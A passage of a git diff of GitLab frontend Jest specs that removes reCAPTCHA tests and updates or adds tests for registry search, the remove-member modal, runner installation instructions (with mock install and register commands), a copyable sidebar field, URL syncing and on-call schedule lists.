+ createMountedWrapper();
+ });
+
+ it('should render the invite members trigger', () => {
+ expect(findInviteLink().exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/vue_shared/components/recaptcha_eventhub_spec.js b/spec/frontend/vue_shared/components/recaptcha_eventhub_spec.js
deleted file mode 100644
index d86d627886f..00000000000
--- a/spec/frontend/vue_shared/components/recaptcha_eventhub_spec.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import { eventHub, callbackName } from '~/vue_shared/components/recaptcha_eventhub';
-
-describe('reCAPTCHA event hub', () => {
- // the following test case currently crashes
- // see https://gitlab.com/gitlab-org/gitlab/issues/29192#note_217840035
- // eslint-disable-next-line jest/no-disabled-tests
- it.skip('throws an error for overriding the callback', () => {
- expect(() => {
- window[callbackName] = 'something';
- }).toThrow();
- });
-
- it('triggering callback emits a submit event', () => {
- const eventHandler = jest.fn();
- eventHub.$once('submit', eventHandler);
-
- window[callbackName]();
-
- expect(eventHandler).toHaveBeenCalled();
- });
-});
diff --git a/spec/frontend/vue_shared/components/recaptcha_modal_spec.js b/spec/frontend/vue_shared/components/recaptcha_modal_spec.js
deleted file mode 100644
index 8ab65efd388..00000000000
--- a/spec/frontend/vue_shared/components/recaptcha_modal_spec.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-
-import { eventHub } from '~/vue_shared/components/recaptcha_eventhub';
-
-import RecaptchaModal from '~/vue_shared/components/recaptcha_modal.vue';
-
-describe('RecaptchaModal', () => {
- const recaptchaFormId = 'recaptcha-form';
- const recaptchaHtml = `<form id="${recaptchaFormId}"></form>`;
-
- let wrapper;
-
- const findRecaptchaForm = () => wrapper.find(`#${recaptchaFormId}`).element;
-
- beforeEach(() => {
- wrapper = shallowMount(RecaptchaModal, {
- propsData: {
- html: recaptchaHtml,
- },
- });
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('submits the form if event hub emits submit event', () => {
- const form = findRecaptchaForm();
- jest.spyOn(form, 'submit').mockImplementation();
-
- eventHub.$emit('submit');
-
- expect(form.submit).toHaveBeenCalled();
- });
-});
diff --git a/spec/frontend/vue_shared/components/registry/registry_search_spec.js b/spec/frontend/vue_shared/components/registry/registry_search_spec.js
index 28bdb275756..f5ef5b3d443 100644
--- a/spec/frontend/vue_shared/components/registry/registry_search_spec.js
+++ b/spec/frontend/vue_shared/components/registry/registry_search_spec.js
@@ -1,5 +1,6 @@
import { GlSorting, GlSortingItem, GlFilteredSearch } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
import component from '~/vue_shared/components/registry/registry_search.vue';
describe('Registry Search', () => {
@@ -12,8 +13,18 @@ describe('Registry Search', () => {
const defaultProps = {
filter: [],
sorting: { sort: 'asc', orderBy: 'name' },
- tokens: ['foo'],
- sortableFields: [{ label: 'name', orderBy: 'name' }, { label: 'baz' }],
+ tokens: [{ type: 'foo' }],
+ sortableFields: [
+ { label: 'name', orderBy: 'name' },
+ { label: 'baz', orderBy: 'bar' },
+ ],
+ };
+
+ const defaultQueryChangedPayload = {
+ foo: '',
+ orderBy: 'name',
+ search: [],
+ sort: 'asc',
};
const mountComponent = (propsData = defaultProps) => {
@@ -55,20 +66,22 @@ describe('Registry Search', () => {
expect(wrapper.emitted('filter:changed')).toEqual([['foo']]);
});
- it('emits filter:submit on submit event', () => {
+ it('emits filter:submit and query:changed on submit event', () => {
mountComponent();
findFilteredSearch().vm.$emit('submit');
expect(wrapper.emitted('filter:submit')).toEqual([[]]);
+ expect(wrapper.emitted('query:changed')).toEqual([[defaultQueryChangedPayload]]);
});
- it('emits filter:changed and filter:submit on clear event', () => {
+ it('emits filter:changed, filter:submit and query:changed on clear event', () => {
mountComponent();
findFilteredSearch().vm.$emit('clear');
expect(wrapper.emitted('filter:changed')).toEqual([[[]]]);
expect(wrapper.emitted('filter:submit')).toEqual([[]]);
+ expect(wrapper.emitted('query:changed')).toEqual([[defaultQueryChangedPayload]]);
});
it('binds tokens prop', () => {
@@ -90,15 +103,47 @@ describe('Registry Search', () => {
findPackageListSorting().vm.$emit('sortDirectionChange');
expect(wrapper.emitted('sorting:changed')).toEqual([[{ sort: 'desc' }]]);
+ expect(wrapper.emitted('query:changed')).toEqual([
+ [{ ...defaultQueryChangedPayload, sort: 'desc' }],
+ ]);
});
it('on sort item click emits sorting:changed event ', () => {
mountComponent();
- findSortingItems().at(0).vm.$emit('click');
+ findSortingItems().at(1).vm.$emit('click');
expect(wrapper.emitted('sorting:changed')).toEqual([
- [{ orderBy: defaultProps.sortableFields[0].orderBy }],
+ [{ orderBy: defaultProps.sortableFields[1].orderBy }],
+ ]);
+ expect(wrapper.emitted('query:changed')).toEqual([
+ [{ ...defaultQueryChangedPayload, orderBy: 'bar' }],
+ ]);
+ });
+ });
+
+ describe('query string calculation', () => {
+ const filter = [
+ { type: FILTERED_SEARCH_TERM, value: { data: 'one' } },
+ { type: FILTERED_SEARCH_TERM, value: { data: 'two' } },
+ { type: 'typeOne', value: { data: 'value_one' } },
+ { type: 'typeTwo', value: { data: 'value_two' } },
+ ];
+
+ it('aggregates the filter in the correct object', () => {
+ mountComponent({ ...defaultProps, filter });
+
+ findFilteredSearch().vm.$emit('submit');
+
+ expect(wrapper.emitted('query:changed')).toEqual([
+ [
+ {
+ ...defaultQueryChangedPayload,
+ search: ['one', 'two'],
+ typeOne: 'value_one',
+ typeTwo: 'value_two',
+ },
+ ],
]);
});
});
diff --git a/spec/frontend/vue_shared/components/remove_member_modal_spec.js b/spec/frontend/vue_shared/components/remove_member_modal_spec.js
index 78fe6d53eee..ce9de28d53c 100644
--- a/spec/frontend/vue_shared/components/remove_member_modal_spec.js
+++ b/spec/frontend/vue_shared/components/remove_member_modal_spec.js
@@ -1,13 +1,25 @@
-import { GlFormCheckbox, GlModal } from '@gitlab/ui';
+import { GlModal } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
import RemoveMemberModal from '~/vue_shared/components/remove_member_modal.vue';
+const mockSchedules = JSON.stringify({
+ schedules: [
+ {
+ id: 1,
+ name: 'Schedule 1',
+ },
+ ],
+ name: 'User1',
+});
+
describe('RemoveMemberModal', () => {
const memberPath = '/gitlab-org/gitlab-test/-/project_members/90';
let wrapper;
const findForm = () => wrapper.find({ ref: 'form' });
- const findGlModal = () => wrapper.find(GlModal);
+ const findGlModal = () => wrapper.findComponent(GlModal);
+ const findOnCallSchedulesList = () => wrapper.findComponent(OncallSchedulesList);
afterEach(() => {
wrapper.destroy();
@@ -15,26 +27,43 @@ describe('RemoveMemberModal', () => {
});
describe.each`
- state | isAccessRequest | actionText | checkboxTestDescription | checkboxExpected | message
- ${'removing a member'} | ${'false'} | ${'Remove member'} | ${'shows a checkbox to allow removal from related issues and MRs'} | ${true} | ${'Are you sure you want to remove Jane Doe from the Gitlab Org / Gitlab Test project?'}
- ${'denying an access request'} | ${'true'} | ${'Deny access request'} | ${'does not show a checkbox'} | ${false} | ${"Are you sure you want to deny Jane Doe's request to join the Gitlab Org / Gitlab Test project?"}
+ state | memberType | isAccessRequest | isInvite | actionText | removeSubMembershipsCheckboxExpected | unassignIssuablesCheckboxExpected | message | onCallSchedules
+ ${'removing a group member'} | ${'GroupMember'} | ${false} | ${'false'} | ${'Remove member'} | ${true} | ${true} | ${'Are you sure you want to remove Jane Doe from the Gitlab Org / Gitlab Test project?'} | ${`{}`}
+ ${'removing a project member'} | ${'ProjectMember'} | ${false} | ${'false'} | ${'Remove member'} | ${false} | ${true} | ${'Are you sure you want to remove Jane Doe from the Gitlab Org / Gitlab Test project?'} | ${mockSchedules}
+ ${'denying an access request'} | ${'ProjectMember'} | ${true} | ${'false'} | ${'Deny access request'} | ${false} | ${false} | ${"Are you sure you want to deny Jane Doe's request to join the Gitlab Org / Gitlab Test project?"} | ${`{}`}
+ ${'revoking invite'} | ${'ProjectMember'} | ${false} | ${'true'} | ${'Revoke invite'} | ${false} | ${false} | ${'Are you sure you want to revoke the invitation for foo@bar.com to join the Gitlab Org / Gitlab Test project?'} | ${mockSchedules}
`(
'when $state',
- ({ actionText, isAccessRequest, message, checkboxTestDescription, checkboxExpected }) => {
+ ({
+ actionText,
+ memberType,
+ isAccessRequest,
+ isInvite,
+ message,
+ removeSubMembershipsCheckboxExpected,
+ unassignIssuablesCheckboxExpected,
+ onCallSchedules,
+ }) => {
beforeEach(() => {
wrapper = shallowMount(RemoveMemberModal, {
data() {
return {
modalData: {
isAccessRequest,
+ isInvite,
message,
memberPath,
+ memberType,
+ onCallSchedules,
},
};
},
});
});
+ const parsedSchedules = JSON.parse(onCallSchedules);
+ const isPartOfOncallSchedules = Boolean(isAccessRequest && parsedSchedules.schedules?.length);
+
it(`has the title ${actionText}`, () => {
expect(findGlModal().attributes('title')).toBe(actionText);
});
@@ -47,8 +76,24 @@ describe('RemoveMemberModal', () => {
expect(wrapper.find('[data-testid=modal-message]').text()).toBe(message);
});
- it(`${checkboxTestDescription}`, () => {
- expect(wrapper.find(GlFormCheckbox).exists()).toBe(checkboxExpected);
+ it(`shows ${
+ removeSubMembershipsCheckboxExpected ? 'a' : 'no'
+ } checkbox to remove direct memberships of subgroups/projects`, () => {
+ expect(wrapper.find('[name=remove_sub_memberships]').exists()).toBe(
+ removeSubMembershipsCheckboxExpected,
+ );
+ });
+
+ it(`shows ${
+ unassignIssuablesCheckboxExpected ? 'a' : 'no'
+ } checkbox to allow removal from related issues and MRs`, () => {
+ expect(wrapper.find('[name=unassign_issuables]').exists()).toBe(
+ unassignIssuablesCheckboxExpected,
+ );
+ });
+
+ it(`shows ${isPartOfOncallSchedules ? 'all' : 'no'} related on-call schedules`, () => {
+ expect(findOnCallSchedulesList().exists()).toBe(isPartOfOncallSchedules);
});
it('submits the form when the modal is submitted', () => {
diff --git a/spec/frontend/vue_shared/components/runner_instructions/mock_data.js b/spec/frontend/vue_shared/components/runner_instructions/mock_data.js
index 01f7f3d49c7..bc1545014d7 100644
--- a/spec/frontend/vue_shared/components/runner_instructions/mock_data.js
+++ b/spec/frontend/vue_shared/components/runner_instructions/mock_data.js
@@ -98,9 +98,21 @@ export const mockGraphqlInstructions = {
data: {
runnerSetup: {
installInstructions:
- "# Download the binary for your system\nsudo curl -L --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64\n\n# Give it permissions to execute\nsudo chmod +x /usr/local/bin/gitlab-runner\n\n# Create a GitLab CI user\nsudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash\n\n# Install and run as service\nsudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner\nsudo gitlab-runner start\n",
+ '# Install and run as service\nsudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner\nsudo gitlab-runner start',
registerInstructions:
- 'sudo gitlab-runner register --url http://192.168.1.81:3000/ --registration-token GE5gsjeep_HAtBf9s3Yz',
+ 'sudo gitlab-runner register --url http://gdk.test:3000/ --registration-token $REGISTRATION_TOKEN',
+ __typename: 'RunnerSetup',
+ },
+ },
+};
+
+export const mockGraphqlInstructionsWindows = {
+ data: {
+ runnerSetup: {
+ installInstructions:
+ '# Windows runner, then run\n.gitlab-runner.exe install\n.gitlab-runner.exe start',
+ registerInstructions:
+ './gitlab-runner.exe register --url http://gdk.test:3000/ --registration-token $REGISTRATION_TOKEN',
__typename: 'RunnerSetup',
},
},
diff --git a/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
new file mode 100644
index 00000000000..4033c943b82
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
@@ -0,0 +1,184 @@
+import { GlAlert, GlLoadingIcon, GlSkeletonLoader } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import getRunnerPlatformsQuery from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql';
+import getRunnerSetupInstructionsQuery from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql';
+import RunnerInstructionsModal from '~/vue_shared/components/runner_instructions/runner_instructions_modal.vue';
+
+import {
+ mockGraphqlRunnerPlatforms,
+ mockGraphqlInstructions,
+ mockGraphqlInstructionsWindows,
+} from './mock_data';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('RunnerInstructionsModal component', () => {
+ let wrapper;
+ let fakeApollo;
+ let runnerPlatformsHandler;
+ let runnerSetupInstructionsHandler;
+
+ const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
+ const findGlLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findPlatformButtons = () => wrapper.findAllByTestId('platform-button');
+ const findArchitectureDropdownItems = () => wrapper.findAllByTestId('architecture-dropdown-item');
+ const findBinaryInstructions = () => wrapper.findByTestId('binary-instructions');
+ const findRegisterCommand = () => wrapper.findByTestId('register-command');
+
+ const createComponent = () => {
+ const requestHandlers = [
+ [getRunnerPlatformsQuery, runnerPlatformsHandler],
+ [getRunnerSetupInstructionsQuery, runnerSetupInstructionsHandler],
+ ];
+
+ fakeApollo = createMockApollo(requestHandlers);
+
+ wrapper = extendedWrapper(
+ shallowMount(RunnerInstructionsModal, {
+ propsData: {
+ modalId: 'runner-instructions-modal',
+ },
+ localVue,
+ apolloProvider: fakeApollo,
+ }),
+ );
+ };
+
+ beforeEach(async () => {
+ runnerPlatformsHandler = jest.fn().mockResolvedValue(mockGraphqlRunnerPlatforms);
+ runnerSetupInstructionsHandler = jest.fn().mockResolvedValue(mockGraphqlInstructions);
+
+ createComponent();
+
+ await nextTick();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('should not show alert', () => {
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ it('should contain a number of platforms buttons', () => {
+ expect(runnerPlatformsHandler).toHaveBeenCalledWith({});
+
+ const buttons = findPlatformButtons();
+
+ expect(buttons).toHaveLength(mockGraphqlRunnerPlatforms.data.runnerPlatforms.nodes.length);
+ });
+
+ it('should contain a number of dropdown items for the architecture options', () => {
+ expect(findArchitectureDropdownItems()).toHaveLength(
+ mockGraphqlRunnerPlatforms.data.runnerPlatforms.nodes[0].architectures.nodes.length,
+ );
+ });
+
+ describe('should display default instructions', () => {
+ const { installInstructions, registerInstructions } = mockGraphqlInstructions.data.runnerSetup;
+
+ it('runner instructions are requested', () => {
+ expect(runnerSetupInstructionsHandler).toHaveBeenCalledWith({
+ platform: 'linux',
+ architecture: 'amd64',
+ });
+ });
+
+ it('binary instructions are shown', () => {
+ const instructions = findBinaryInstructions().text();
+
+ expect(instructions).toBe(installInstructions);
+ });
+
+ it('register command is shown', () => {
+ const instructions = findRegisterCommand().text();
+
+ expect(instructions).toBe(registerInstructions);
+ });
+ });
+
+ describe('after a platform and architecture are selected', () => {
+ const {
+ installInstructions,
+ registerInstructions,
+ } = mockGraphqlInstructionsWindows.data.runnerSetup;
+
+ beforeEach(async () => {
+ runnerSetupInstructionsHandler.mockResolvedValue(mockGraphqlInstructionsWindows);
+
+ findPlatformButtons().at(2).vm.$emit('click'); // another option, happens to be windows
+ await nextTick();
+
+ findArchitectureDropdownItems().at(1).vm.$emit('click'); // another option
+ await nextTick();
+ });
+
+ it('runner instructions are requested', () => {
+ expect(runnerSetupInstructionsHandler).toHaveBeenCalledWith({
+ platform: 'windows',
+ architecture: '386',
+ });
+ });
+
+ it('other binary instructions are shown', () => {
+ const instructions = findBinaryInstructions().text();
+
+ expect(instructions).toBe(installInstructions);
+ });
+
+ it('register command is shown', () => {
+ const command = findRegisterCommand().text();
+
+ expect(command).toBe(registerInstructions);
+ });
+ });
+
+ describe('when apollo is loading', () => {
+ it('should show a skeleton loader', async () => {
+ createComponent();
+ expect(findSkeletonLoader().exists()).toBe(true);
+ expect(findGlLoadingIcon().exists()).toBe(false);
+
+ await nextTick(); // wait for platforms
+
+ expect(findGlLoadingIcon().exists()).toBe(true);
+ });
+
+ it('once loaded, should not show a loading state', async () => {
+ createComponent();
+
+ await nextTick(); // wait for platforms
+ await nextTick(); // wait for architectures
+
+ expect(findSkeletonLoader().exists()).toBe(false);
+ expect(findGlLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('when instructions cannot be loaded', () => {
+ beforeEach(async () => {
+ runnerSetupInstructionsHandler.mockRejectedValue();
+
+ createComponent();
+
+ await waitForPromises();
+ });
+
+ it('should show alert', () => {
+ expect(findAlert().exists()).toBe(true);
+ });
+
+ it('should not show instructions', () => {
+ expect(findBinaryInstructions().exists()).toBe(false);
+ expect(findRegisterCommand().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_spec.js b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_spec.js
index 48db60bfd33..23f8d6afcb5 100644
--- a/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_spec.js
+++ b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_spec.js
@@ -1,113 +1,41 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import VueApollo from 'vue-apollo';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import getRunnerPlatforms from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql';
-import getRunnerSetupInstructions from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import RunnerInstructions from '~/vue_shared/components/runner_instructions/runner_instructions.vue';
-
-import { mockGraphqlRunnerPlatforms, mockGraphqlInstructions } from './mock_data';
-
-const projectPath = 'gitlab-org/gitlab';
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+import RunnerInstructionsModal from '~/vue_shared/components/runner_instructions/runner_instructions_modal.vue';
describe('RunnerInstructions component', () => {
let wrapper;
- let fakeApollo;
-
- const findModalButton = () => wrapper.find('[data-testid="show-modal-button"]');
- const findPlatformButtons = () => wrapper.findAll('[data-testid="platform-button"]');
- const findArchitectureDropdownItems = () =>
- wrapper.findAll('[data-testid="architecture-dropdown-item"]');
- const findBinaryInstructionsSection = () => wrapper.find('[data-testid="binary-instructions"]');
- const findRunnerInstructionsSection = () => wrapper.find('[data-testid="runner-instructions"]');
- beforeEach(async () => {
- const requestHandlers = [
- [getRunnerPlatforms, jest.fn().mockResolvedValue(mockGraphqlRunnerPlatforms)],
- [getRunnerSetupInstructions, jest.fn().mockResolvedValue(mockGraphqlInstructions)],
- ];
+ const findModalButton = () => wrapper.findByTestId('show-modal-button');
+ const findModal = () => wrapper.findComponent(RunnerInstructionsModal);
- fakeApollo = createMockApollo(requestHandlers);
+ const createComponent = () => {
+ wrapper = extendedWrapper(shallowMount(RunnerInstructions));
+ };
- wrapper = shallowMount(RunnerInstructions, {
- provide: {
- projectPath,
- },
- localVue,
- apolloProvider: fakeApollo,
- });
-
- await wrapper.vm.$nextTick();
+ beforeEach(() => {
+ createComponent();
});
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
it('should show the "Show Runner installation instructions" button', () => {
- const button = findModalButton();
-
- expect(button.exists()).toBe(true);
- expect(button.text()).toBe('Show Runner installation instructions');
- });
-
- it('should contain a number of platforms buttons', () => {
- const buttons = findPlatformButtons();
-
- expect(buttons).toHaveLength(mockGraphqlRunnerPlatforms.data.runnerPlatforms.nodes.length);
- });
-
- it('should contain a number of dropdown items for the architecture options', () => {
- const platformButton = findPlatformButtons().at(0);
- platformButton.vm.$emit('click');
-
- return wrapper.vm.$nextTick(() => {
- const dropdownItems = findArchitectureDropdownItems();
-
- expect(dropdownItems).toHaveLength(
- mockGraphqlRunnerPlatforms.data.runnerPlatforms.nodes[0].architectures.nodes.length,
- );
- });
+ expect(findModalButton().exists()).toBe(true);
+ expect(findModalButton().text()).toBe('Show Runner installation instructions');
});
- it('should display the binary installation instructions for a selected architecture', async () => {
- const platformButton = findPlatformButtons().at(0);
- platformButton.vm.$emit('click');
-
- await wrapper.vm.$nextTick();
-
- const dropdownItem = findArchitectureDropdownItems().at(0);
- dropdownItem.vm.$emit('click');
-
- await wrapper.vm.$nextTick();
-
- const runner = findBinaryInstructionsSection();
-
- expect(runner.text()).toMatch('sudo chmod +x /usr/local/bin/gitlab-runner');
- expect(runner.text()).toMatch(
- `sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash`,
- );
- expect(runner.text()).toMatch(
- 'sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner',
- );
- expect(runner.text()).toMatch('sudo gitlab-runner start');
+ it('should not render the modal once mounted', () => {
+ expect(findModal().exists()).toBe(false);
});
- it('should display the runner register instructions for a selected architecture', async () => {
- const platformButton = findPlatformButtons().at(0);
- platformButton.vm.$emit('click');
-
- await wrapper.vm.$nextTick();
-
- const dropdownItem = findArchitectureDropdownItems().at(0);
- dropdownItem.vm.$emit('click');
-
- await wrapper.vm.$nextTick();
+ it('should render the modal once clicked', async () => {
+ findModalButton().vm.$emit('click');
- const runner = findRunnerInstructionsSection();
+ await nextTick();
- expect(runner.text()).toMatch(mockGraphqlInstructions.data.runnerSetup.registerInstructions);
+ expect(findModal().exists()).toBe(true);
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js b/spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js
new file mode 100644
index 00000000000..b99b1a66b79
--- /dev/null
+++ b/spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js
@@ -0,0 +1,74 @@
+import { GlLoadingIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import CopyableField from '~/vue_shared/components/sidebar/copyable_field.vue';
+
+describe('SidebarCopyableField', () => {
+ let wrapper;
+
+ const defaultProps = {
+ value: 'Gl-1',
+ name: 'Reference',
+ };
+
+ const createComponent = (propsData = defaultProps) => {
+ wrapper = shallowMount(CopyableField, {
+ propsData,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findClipboardButton = () => wrapper.findComponent(ClipboardButton);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+
+ describe('template', () => {
+ describe('when `isLoading` prop is `false`', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders copyable field', () => {
+ expect(wrapper.text()).toContain('Reference: Gl-1');
+ });
+
+ it('renders ClipboardButton with correct props', () => {
+ const clipboardButton = findClipboardButton();
+
+ expect(clipboardButton.exists()).toBe(true);
+ expect(clipboardButton.props('title')).toBe(`Copy ${defaultProps.name}`);
+ expect(clipboardButton.props('text')).toBe(defaultProps.value);
+ });
+
+ it('does not render loading icon', () => {
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('when `isLoading` prop is `true`', () => {
+ beforeEach(() => {
+ createComponent({ ...defaultProps, isLoading: true });
+ });
+
+ it('renders loading icon', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
+ expect(findLoadingIcon().props('label')).toBe('Loading Reference');
+ });
+
+ it('does not render clipboard button', () => {
+ expect(findClipboardButton().exists()).toBe(false);
+ });
+ });
+
+ describe('with `clipboardTooltipText` prop', () => {
+ it('sets ClipboardButton `title` prop to `clipboardTooltipText` value', () => {
+ const mockClipboardTooltipText = 'Copy my custom value';
+ createComponent({ ...defaultProps, clipboardTooltipText: mockClipboardTooltipText });
+
+ expect(findClipboardButton().props('title')).toBe(mockClipboardTooltipText);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/url_sync_spec.js b/spec/frontend/vue_shared/components/url_sync_spec.js
new file mode 100644
index 00000000000..86bbc146c5f
--- /dev/null
+++ b/spec/frontend/vue_shared/components/url_sync_spec.js
@@ -0,0 +1,97 @@
+import { shallowMount } from '@vue/test-utils';
+import setWindowLocation from 'helpers/set_window_location_helper';
+import { historyPushState } from '~/lib/utils/common_utils';
+import { mergeUrlParams } from '~/lib/utils/url_utility';
+import UrlSyncComponent from '~/vue_shared/components/url_sync.vue';
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ mergeUrlParams: jest.fn((query, url) => `urlParams: ${query} ${url}`),
+}));
+
+jest.mock('~/lib/utils/common_utils', () => ({
+ historyPushState: jest.fn(),
+}));
+
+describe('url sync component', () => {
+ let wrapper;
+ const mockQuery = { group_id: '5014437163714', project_ids: ['5014437608314'] };
+ const TEST_HOST = 'http://testhost/';
+
+ setWindowLocation(TEST_HOST);
+
+ const findButton = () => wrapper.find('button');
+
+ const createComponent = ({ query = mockQuery, scopedSlots, slots } = {}) => {
+ wrapper = shallowMount(UrlSyncComponent, {
+ propsData: { query },
+ scopedSlots,
+ slots,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const expectUrlSync = (query, times, mergeUrlParamsReturnValue) => {
+ expect(mergeUrlParams).toHaveBeenCalledTimes(times);
+ expect(mergeUrlParams).toHaveBeenCalledWith(query, TEST_HOST, { spreadArrays: true });
+
+ expect(historyPushState).toHaveBeenCalledTimes(times);
+ expect(historyPushState).toHaveBeenCalledWith(mergeUrlParamsReturnValue);
+ };
+
+ describe('with query as a props', () => {
+ it('immediately syncs the query to the URL', () => {
+ createComponent();
+
+ expectUrlSync(mockQuery, 1, mergeUrlParams.mock.results[0].value);
+ });
+
+ describe('when the query is modified', () => {
+ const newQuery = { foo: true };
+
+ it('updates the URL with the new query', async () => {
+ createComponent();
+ // using setProps to test the watcher
+ await wrapper.setProps({ query: newQuery });
+
+ expectUrlSync(mockQuery, 2, mergeUrlParams.mock.results[1].value);
+ });
+ });
+ });
+
+ describe('with scoped slot', () => {
+ const scopedSlots = {
+ default: `
+ <button @click="props.updateQuery({bar: 'baz'})">Update Query </button>
+ `,
+ };
+
+ it('renders the scoped slot', () => {
+ createComponent({ query: null, scopedSlots });
+
+ expect(findButton().exists()).toBe(true);
+ });
+
+ it('syncs the url with the scoped slots function', () => {
+ createComponent({ query: null, scopedSlots });
+
+ findButton().trigger('click');
+
+ expectUrlSync({ bar: 'baz' }, 1, mergeUrlParams.mock.results[0].value);
+ });
+ });
+
+ describe('with slot', () => {
+ const slots = {
+ default: '<button>Normal Slot</button>',
+ };
+
+ it('renders the default slot', () => {
+ createComponent({ query: null, slots });
+
+ expect(findButton().exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js b/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
index 184a1e458b5..87fe8619f28 100644
--- a/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
+++ b/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
@@ -1,4 +1,4 @@
-import { GlDeprecatedSkeletonLoading as GlSkeletonLoading, GlSprintf, GlIcon } from '@gitlab/ui';
+import { GlSkeletonLoader, GlSprintf, GlIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { AVAILABILITY_STATUS } from '~/set_status_modal/utils';
import UserNameWithStatus from '~/sidebar/components/assignees/user_name_with_status.vue';
@@ -52,7 +52,7 @@ describe('User Popover Component', () => {
};
describe('when user is loading', () => {
- it('displays skeleton loaders', () => {
+ it('displays skeleton loader', () => {
createWrapper({
user: {
name: null,
@@ -65,7 +65,7 @@ describe('User Popover Component', () => {
},
});
- expect(wrapper.findAll(GlSkeletonLoading)).toHaveLength(4);
+ expect(wrapper.find(GlSkeletonLoader).exists()).toBe(true);
});
});
diff --git a/spec/frontend/vue_shared/oncall_schedules_list_spec.js b/spec/frontend/vue_shared/oncall_schedules_list_spec.js
new file mode 100644
index 00000000000..5c30809c09b
--- /dev/null
+++ b/spec/frontend/vue_shared/oncall_schedules_list_spec.js
@@ -0,0 +1,87 @@
+import { GlLink, GlSprintf } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
+
+const mockSchedules = [
+ {
+ name: 'Schedule 1',
+ scheduleUrl: 'http://gitlab.com/gitlab-org/gitlab-shell/-/oncall_schedules',
+ projectName: 'Shell',
+ projectUrl: 'http://gitlab.com/gitlab-org/gitlab-shell/',
+ },
+ {
+ name: 'Schedule 2',
+ scheduleUrl: 'http://gitlab.com/gitlab-org/gitlab-ui/-/oncall_schedules',
+ projectName: 'UI',
+ projectUrl: 'http://gitlab.com/gitlab-org/gitlab-ui/',
+ },
+];
+
+const userName = 'User 1';
+
+describe('On-call schedules list', () => {
+ let wrapper;
+
+ function createComponent(props) {
+ wrapper = extendedWrapper(
+ shallowMount(OncallSchedulesList, {
+ propsData: {
+ schedules: mockSchedules,
+ userName,
+ ...props,
+ },
+ stubs: {
+ GlSprintf,
+ },
+ }),
+ );
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findLinks = () => wrapper.findAllComponents(GlLink);
+ const findTitle = () => wrapper.findByTestId('title');
+ const findFooter = () => wrapper.findByTestId('footer');
+ const findSchedules = () => wrapper.findByTestId('schedules-list');
+
+ describe.each`
+ isCurrentUser | titleText | footerText
